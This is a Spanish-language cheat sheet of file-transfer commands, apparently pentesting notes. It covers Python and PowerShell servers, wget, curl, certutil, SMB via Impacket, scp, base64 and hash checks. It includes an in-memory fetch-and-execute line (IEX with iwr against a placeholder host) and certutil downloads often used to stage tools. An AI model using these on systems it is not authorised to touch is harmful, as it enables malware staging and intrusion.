Transferencia de archivos

Servidor

Python

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

PowerShell

Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://<IP-address>:<port>/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()

Cliente

PowerShell

Descarga de archivos.

PowerShell -c "IWR -useBasicParsing http://<IP-address>:<port>/<filename.extension> -o <path\filename.extension>"
Invoke-WebRequest -Uri "http://<IP-address>:<port>/<filename.extension>" -OutFile "<path\filename.extension>"
(New-Object Net.WebClient).DownloadFile("http://<IP-address>:<port>/<filename.extension>","<path\filename.extension>")

Transferencia y execución de archivo en memoria.

IEX (iwr http://<IP-address>:<port>/<filename.ps1> -UseBasicParsing)

Wget

wget http://<IP-address>:<port>/<filename.extension> -O <path/filename.extension>
  • -O = ruta donde será descargado y cual será el nombre del archivo.

wget http://<IP-address>:<port>/<filename.extension> -P <path>
  • -P = ruta donde será descargado el archivo.

cURL

curl http://<IP-address>:<port>/<filename.extension> -o <filename.extension>

CertUtil

certutil.exe -urlcache -f http://<IP-address>:<port>/<filename.extension> <filename.extension>

PowerShell remoting

$session = New-PSSession -ComputerName <computer-name>
Copy-Item -ToSession $session -Path C:\<path>\<filename.extension> -Destination C:\<destination-directory>
Enter-PSSession -Session $session
ls C:\<destination-directory>

SMB

Impacket

# Servidor (Linux)
# opción 1
mkdir /tmp/smb-temp && cd /tmp/smb-temp
python /impacket/examples/smbserver.py share . -smb2support -username <username> -password <password>
# opción 2
python /impacket/examples/smbserver.py share $(pwd)
impacket-smbserver share $(pwd)

# Cliente (Windows)
net use \\<IP-address>\share /USER:<username> <password>
copy \\<IP-address>\share\<file> %TEMP%\<file>
dir %TEMP%
net use \\<IP-address>\share /del

SCP (secure copy)

Subir archivo local a remoto.

scp <file> <user>@<IP-address>:<destination-directory>

Descargar archivo remoto a local.

scp <user>@<IP-address>:<file> <destination-directory>

Base64

# Máquina origen
base64 -w 0 <file> | xclip -sel clip
# Máquina destino
echo "<Ctrl+V>" | base64 -d > <file>

Validación de integridad de archivo

Linux/Unix

# MD5
md5sum <file>
# SHA1
sha1sum <file>

Windows

# MD5
certutil.exe -hashfile <file> MD5
# SHA1
certutil.exe -hashfile <file>

# PowerShell
## MD5
Get-FileHash <file> -Algorithm MD5 | Format-List
## SHA1
Get-FileHash <file> -Algorithm SHA1 | Format-List
## SHA256
Get-FileHash <file> | Format-List

Última actualización